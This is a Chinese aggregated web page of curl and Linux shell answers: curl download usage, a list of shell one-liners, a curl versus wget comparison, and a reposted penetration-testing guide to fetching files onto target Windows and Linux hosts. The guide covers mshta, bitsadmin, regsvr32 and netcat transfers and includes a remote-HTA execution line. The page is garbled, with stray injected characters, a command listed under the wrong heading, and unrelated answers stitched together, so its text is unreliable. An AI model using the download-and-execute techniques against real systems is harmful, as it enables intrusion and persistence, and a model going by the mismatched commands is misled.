導航:首頁 > 文件類型 > curllinux下載文件

curllinux下載文件

發布時間:2023-09-22 14:58:19

1. 如何刪除linux curl 命令行

下載單個文件,默認將輸出列印到標准輸出中(STDOUT)中
?

1

curl http://www.centos.org

通過-o/-O選項保存下載的文件到指定的文件中:

-o:將文件保存為命令行中指定的文件名的文件中

-O:使用URL中默認的文件名保存文件到本地
?

1
2
3
4

# 將文件下載到本地並命名為mygettext.html
curl -o mygettext.html http://www.gnu.org/software/gettext/manual/gettext.html
# 將文件保存到本地並命名為gettext.html
curl -O http://www.gnu.org/software/gettext/manual/gettext.html

同樣可以使用轉向字元">"對輸出進行轉向輸出
同時獲取多個文件
?

1

curl -O URL1 -O URL2

若同時從同一站點下載多個文件時,curl會嘗試重用鏈接(connection)。
通過-L選項進行重定向

2. Linux shell常用命令

Linux shell常用命令匯總

對於經常使用linux系統的博主岩罩來說,基本常用的shell命令是少不了的,下面為大家總結了Linux shell的常用命令,希望對大家有所幫寬棗租助!

1.檢查遠程埠是否對bash開放:

echo >/dev/tcp/8.8.8.8/53 && echo "open"

2.讓進程轉入後台慎兆:

Ctrl + z

3、將進程轉到前台:

fg

4.產生隨機的十六進制數,其中n是字元數:

openssl rand -hex n

5.在當前shell里執行一個文件里的命令:

source /home/user/file.name

6.截取前5個字元:

${variable:0:5}

7.SSH debug 模式:

ssh -vvv user@ip_address

8.SSH with pem key:

ssh user@ip_address -i key.pem

9.用wget抓取完整的網站目錄結構,存放到本地目錄中:

wget -r --no-parent --reject "index.html*" http://hostname/ -P /home/user/dirs

10.一次創建多個目錄:

mkdir -p /home/user/{test,test1,test2}

11.列出包括子進程的進程樹:

ps axwef

12.創建 war 文件:

jar -cvf name.war file

13.測試硬碟寫入速度:

dd if=/dev/zero of=/tmp/output.img bs=8k count=256k; rm -rf /tmp/output.img

14.測試硬碟讀取速度:

hdparm -Tt /dev/sda

15.獲取文本的md5 hash:

echo -n "text" | md5sum

16.檢查xml格式:

xmllint --noout file.xml

17.將tar.gz提取到新目錄里:

tar zxvf package.tar.gz -C new_dir

18.使用curl獲取HTTP頭信息:

curl -I http://www.example.com

19.修改文件或目錄的時間戳(YYMMDDhhmm):

touch -t 0712250000 file

20.用wget命令執行ftp下載:

wget -m ftp://username:password@hostname

21.生成隨機密碼(例子里是16個字元長):

LANG=c < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;

22.快速備份一個文件:

cp some_file_name{,.bkp}

23.訪問Windows共享目錄:

smbclient -U "DOMAIN\user" //dc.domain.com/share/test/dir

24.執行歷史記錄里的命令(這里是第100行):

!100

25.解壓:

unzip package_name.zip -d dir_name

26.輸入多行文字(CTRL + d 退出):

cat > test.txt

27.創建空文件或清空一個現有文件:

\> test.txt

28.與Ubuntu NTP server同步時間:

ntpdate ntp.ubuntu.com

29.用netstat顯示所有tcp4監聽埠:

netstat -lnt4 | awk '{print $4}' | cut -f2 -d: | grep -o '[0-9]*'

30.qcow2鏡像文件轉換:

qemu-img convert -f qcow2 -O raw precise-server-cloudimg-amd64-disk1.img \precise-server-cloudimg-amd64-disk1.raw

31.重復運行文件,顯示其輸出(預設是2秒一次):

watch ps -ef

32.所有用戶列表:

getent passwd

33.Mount root in read/write mode:

mount -o remount,rw /

34.掛載一個目錄(這是不能使用鏈接的情況):

mount --bind /source /destination

35.動態更新DNS server:

nsupdate < <eof p=""> </eof>

update add $HOST 86400 A $IP

send

EOF

36.遞歸grep所有目錄:

grep -r "some_text" /path/to/dir

37.列出前10個最大的文件:

lsof / | awk '{ if($7 > 1048576) print $7/1048576 "MB "$9 }' | sort -n -u | tail

39.打開Vim並跳到文件末:

vim + some_file_name

40.Git 克隆指定分支(master):

git clone [email protected]:name/app.git -b master

41.Git 切換到其它分支(develop):

git checkout develop

42.Git 刪除分支(myfeature):

git branch -d myfeature

43.Git 刪除遠程分支

git push origin :branchName

44.Git 將新分支推送到遠程伺服器:

git push -u origin mynewfeature

45.列印歷史記錄中最後一次cat命令:

!cat:p

46.運行歷史記錄里最後一次cat命令:

!cat

47.找出/home/user下所有空子目錄:

echo >/dev/tcp/8.8.8.8/53 && echo "open"

1.檢查遠程埠是否對bash開放:

find /home/user -maxdepth 1 -type d -empty

48.獲取test.txt文件中第50-60行內容:

< test.txt sed -n '50,60p'

49.運行最後一個命令(如果最後一個命令是mkdir /root/test, 下面將會運行: sudo mkdir /root/test):

sudo !!

50.創建臨時RAM文件系統 – ramdisk (先創建/tmpram目錄):

mount -t tmpfs tmpfs /tmpram -o size=512m

51.Grep whole words:

grep -w "name" test.txt

52.在需要提升許可權的.情況下往一個文件里追加文本:

echo "some text" | sudo tee -a /path/file

53.列出所有kill signal參數:

kill -l

54.在bash歷史記錄里禁止記錄最後一次會話:

kill -9 $$

55.掃描網路尋找開放的埠:

nmap -p 8081 172.20.0.0/16

56.設置git email:

git config --global user.email "[email protected]"

57.To sync with master if you have unpublished commits:

git pull --rebase origin master

58.將所有文件名中含有”txt”的文件移入/home/user目錄:

find -iname "*txt*" -exec mv -v {} /home/user \;

59.將文件按行並列顯示:

paste test.txt test1.txt

60.shell里的進度條:

pv data.log

61.使用netcat將數據發送到Graphite server:

echo "hosts.sampleHost 10 `date +%s`" | nc 192.168.200.2 3000

62.將tabs轉換成空格:

expand test.txt > test1.txt

63.Skip bash history:

< space >cmd

64.去之前的工作目錄:

cd -

65.拆分大體積的tar.gz文件(每個100MB),然後合並回去:

split –b 100m /path/to/large/archive /path/to/output/files

cat files* > archive

66.使用curl獲取HTTP status code:

curl -sL -w "%{http_code}\\n" www.example.com -o /dev/null

67.設置root密碼,強化MySQL安全安裝:

/usr/bin/mysql_secure_installation

68.當Ctrl + c不好使時:

Ctrl + \

69.獲取文件owner:

stat -c %U file.txt

70.block設備列表:

lsblk -f

71.找出文件名結尾有空格的文件:

find . -type f -exec egrep -l " +$" {} \;

72.找出文件名有tab縮進符的文件

find . -type f -exec egrep -l $'\t' {} \;

73.用”=”列印出橫線:全選復制放進筆記

printf '%100s\n' | tr ' ' = ;

3. 命令行/終端下載指令大全(win + linux)

在我們滲透測試的過程中,通常會需要向目標主機傳送一些文件,來達到提權,維持控制等目的。因此當不方便進行直接傳輸時,同時目標主機是能有網路連接的,那麼此時就可以通過本地下載這種方法來達到文件傳輸的目的。此篇文章,我會對互聯網上針對win與linux大部分的下載指令來做一個匯總,可能會有疏漏,但匯總的都是經常會用的。

這款工具功能很豐富,可以充當某種功能完備的GUI下載管理器,它擁有一款理想的下載管理器所需要的所有功能,比如它可以恢復下載,可以下載多個文件,出現某個連接問題後,可以重新嘗試下載,你甚至可以管理最大的下載帶寬。

直接下載:

後台下載:

如果互聯網連接出現中斷,恢復下載:

從某個密碼保護的ftp軟體庫下載文件:

Curl是另一種高效的下載工具,它可以用來上傳或下載文件,只要使用一個簡單的命令。它支持暫停和恢復下載程序包,並支持數量最多的Web協議,可預測下載完成還剩餘多少時間,可通過進度條來顯示下載進度。它是所有Linux發行版的內置工具。

直接下載:

藉助-o選項,提供名稱,下載文件會以該名稱保存;如使用-O選項,文件就會以原始名稱保存。

這是wget的出色替代者,是一款輕量級下載實用工具。它實際上是個加速器,因為它打開了多路http連接,可下載獨立文件片段,因而文件下載起來更快速。

直接下載:

這是一種開源命令行下載加速器,支持多個埠,你可以使用最大帶寬來下載文件,是一款易於安裝、易於使用的工具。

直接下載:

Perl是一門很吊的語言,使用它基本可以實現任何事情,用它實現文件下載也很簡單。

執行腳本文件是這樣:

Python也是很受歡迎的主流腳本語言,代碼清晰且簡潔:

Ruby是一個面對對象的語言,Metasploit框架就是用它來實現的,當然他也可以實現像下載文件這樣的小任務。

執行腳本文件是這樣;

PHP作為一種服務端腳本,也可以實現下載文件這種功能。

執行腳本文件是這樣:

一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash 腳本,考慮到了交互的情況,可以直接執行並不會產生交互動作。

當然根據實際情況也可以進入交互終端:

攻擊者的電腦上輸入:

這個命令會將file的內容輸出到本地的1234埠中,然後不論誰連接此埠,file的內容將會發送到連接過來的IP。

目標電腦上的命令:

這條命令將連接攻擊者的電腦,接受file內容保存。

PowerShell 是一種winodws原生的腳本語言,對於熟練使用它的人來說,可以實現很多復雜的功能。

下面這兩條指令實現了從Internet網路下載一個文件。

可以應用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2

文件下載並執行如下:

在1998年Visual Basic最終標准在windows上確定。下面的代碼可以實現下載文件,雖然它的長度比Powershell長多了。

在windows中Cscript指令可以允許你執行VBS腳本文件或者對script腳本做一些設置。在windows 7中這個指令並不是必須要用到。但是在windows XP中需要使用這條指令,如下所示:

在Windows Vista以及以後的版本中默認有FTP,可以使用以下命令運行:

上傳:

下載:

Bitsadmin是Windows命令行工具,用戶可以使用它來創建下載或上傳的任務。只能命令下載到指定路徑上,win7以上:

mshta http://192.168.3.1/run.htarun.hta 內容如下:

依賴於WScript.shell這個組件:

Regsvr32命令用於注冊COM組件,是 Windows 系統提供的用來向系統注冊控制項或者卸載控制項的命令,以命令行方式運行。

WinXP及以上系統的regsvr32.exe在windowssystem32文件夾下;2000系統的regsvr32.exe在winntsystem32文件夾下。

test.data內容:

還可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct文件:

Windows shares可以載入一個驅動器,然後用命令來復制文件。

載入遠程驅動:

當需要把一個exe文件放到目標計算機上時,Nishang可以使用PowerShell允許你把一個exe轉換成hex,然後把hex再轉換成原來的exe文件:

把exe轉成hex文件輸入:

打開evil.txt文件,復制內容,然後通過RDP的剪貼板復制進目標計算機,把hex文件還原成exe文件輸入:

1.MSXSL.EXE

msxsl.exe是微軟用於命令行下處理XSL的一個程序,所以通過他,我們可以執行JavaScript進而執行系統命令。

2.pubprn.vbs在Windows 7以上版本存在一個名為PubPrn.vbs的微軟已簽名WSH腳本,其位於

3.esentutl.exe/extrac32.exe

4.desktopimgdownldr.exedesktopimgdownldr.exe 位於 Win10 的 system32 文件夾中,原本用於設置鎖定屏幕或桌面背景圖像的。

普通用戶可以用:

這樣來下載文件。

可以把C:ProgramData來改成一個普通用戶可寫的目錄。

下載的文件存放於:

管理員用戶會多寫一個注冊表項,所以管理員最好的命令是:

https://xz.aliyun.com/t/1654

https://www.t00ls.net/articles-49501.html

https://evi1cg.me/archives/remote_exec.html

https://www.unixmen.com/top-10-command-line-tools-downloading-linux/

作者:肖洋肖恩、

原文鏈接:https://www.cnblogs.com/-mo-/p/12109717.html

4. Linux運維命令Curl - 日常用法總結

在Linux系統中,curl是一個利用URL規則在命令行下工作的文件傳輸工具,可以說是一款很強大的http命令行工具。它支持文件的上傳和下載操作,是綜合傳輸工具,習慣上稱url為下載工具。下面就日常運維中基於curl命令使用做下總結

一、Curl命令用法

1. curl語法和參數選項
# curl [option] [url]

curl常見參數

2. curl使用說明
curl是一種命令行工具,作用是發出網路請求,然後得到和提取數據,顯示在"標准輸出"(stdout)上面。它支持多種協議,下面說下curl命令的日常使用示例:

3. curl上傳文件的用法(POST請求方式)
一般來說,我們都會用curl下載網頁,但是curl上傳文件則不常用。下面說下curl模擬"multipart/form-data"形式的form上傳文件, 命令稍稍復雜些。

4. curl常用示例

5. curl命令的超時時間

二、Curl的GET、POST、PUT、DELETE請求

1. GET、POST、PUT、DELETE含義與區別

2. GET、POST、PUT、DELETE四種請求方式的curl訪問

5. Linux curl與wget區別好像都是把html文件下載到當前頁面吧

1.curl是libcurl這個庫支持的,wget是一個純粹的命令行命令。
2.curl
支持更多內的協議。curl supports FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET,
DICT, LDAP, LDAPS, FILE, POP3, IMAP, SMTP and RTSP at the time of this
writing. Wget supports HTTP, HTTPS and FTP.
3.curl默認支持
HTTP1.1(也支容持1.0),而wget僅僅支持HTTP1.0規范。
4.curl在指定要下載的鏈接時能夠
支持URL的序列或集合,而wget則不能這樣;
5.wget支持遞歸下載,而curl則沒有這個功能。(這是wget的一個主要好
處,wget也是有優勢的,呵呵)

閱讀全文

與curllinux下載文件相關的資料

熱點內容
能打開word文件但桌面上找不到 瀏覽:366
2020十大網路紅歌有哪些 瀏覽:843
手機系統空間文件夾在哪裡設置快捷鍵 瀏覽:309
通信網路中的b8什麼意思 瀏覽:715
桌面文件標題 瀏覽:228
優淘集市有什麼app 瀏覽:747
找不到收藏文件 瀏覽:711
戰狼2在什麼網站 瀏覽:785
vb修改word 瀏覽:650
c盤分頁文件 瀏覽:277
ipad如何互相傳輸數據 瀏覽:567
我的世界如何用積木編程大師復制方塊 瀏覽:638
進網站請求路徑未找到是怎麼回事 瀏覽:807
spss21教程 瀏覽:655
css商業網站布局之道pdf 瀏覽:892
c盤不能新建文件夾win10 瀏覽:384
angularjs左側菜單 瀏覽:180
tp引用js 瀏覽:463
怎麼用公式比對兩列數據 瀏覽:283
交保險的app有哪些 瀏覽:559

友情鏈接